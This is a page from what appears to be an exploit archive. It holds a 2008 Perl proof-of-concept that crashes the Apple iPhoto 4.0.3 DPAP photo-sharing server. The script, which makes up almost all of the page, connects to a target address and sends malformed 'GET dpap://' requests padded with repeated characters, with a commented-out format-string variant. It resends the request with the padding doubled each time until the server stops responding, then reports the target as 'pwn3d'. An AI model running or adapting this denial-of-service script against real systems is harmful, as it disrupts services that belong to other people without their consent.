[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Apple iPhoto 4.0.3 DPAP Server Denial of Service Exploit
# Published : 2008-02-18
# Author : David Wharton
# Previous Title : DESlock+ <= 3.2.6 DLMFENC.sys Local Kernel ring0 link list zero PoC
# Next Title : Rosoft Media Player 4.1.8 M3U File Remote Buffer Overflow PoC


#!/usr/bin/perl
# crash the iPhoto DPAP (Digital Photo Access Protocol) Server on  
iPhoto 4.0.3
# technically the server exits cleanly but it does not restart

use IO::Socket::INET;

die "Usage $0 <target_ip>n" unless ($ARGV[0]);

$| = 1;

if ($ARGV[1]) {
     $port = $ARGV[1];
} else {
     $port = 8770;
}

$socket=new IO::Socket::INET->new(PeerAddr=>$ARGV[0],
                                   PeerPort=>$port,
                                   Proto=>'tcp');

if ($socket == NULL) {
    die "Cannot connect to $ARGV[0] on port $portn";
}


$malformed_data = "AAAAAAAAAAAAAAA";
#$malformed_data = "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n";
$count = 0;

$msg="GET dpap://$malformed_data HTTP/1.1rnrn";
print "Sending message:n$msgn";
$socket->send($msg);
$socket->close();
sleep(1);
$cont = 1;

# this loop is unnecessary but who cares
while ($cont && $count < 11) {
     $socket2 = new IO::Socket::INET->new(PeerAddr=>$ARGV[0],  
PeerPort=>$port, Proto=>'tcp');
     if ($socket2 == NULL) {
         $cont = 0;
         print "crashn";
     } else {
         print ".";
	# next line not necessary but does the job too
	$malformed_data = $malformed_data.$malformed_data;
         $msg="GET dpap://$malformed_data HTTP/1.1rnrn";
         $socket2->send($msg);
         $count++;
         $socket2->close();
         sleep(1);
     }
}

if ($count < 10) {
     print "iPhotoDPAPServer on $ARGV[0] has been pwn3dn";
} else {
     print "Unable to crash iPhotoDPAPServer on $ARGV[0]n";
}

# www.Syue.com [2008-02-18]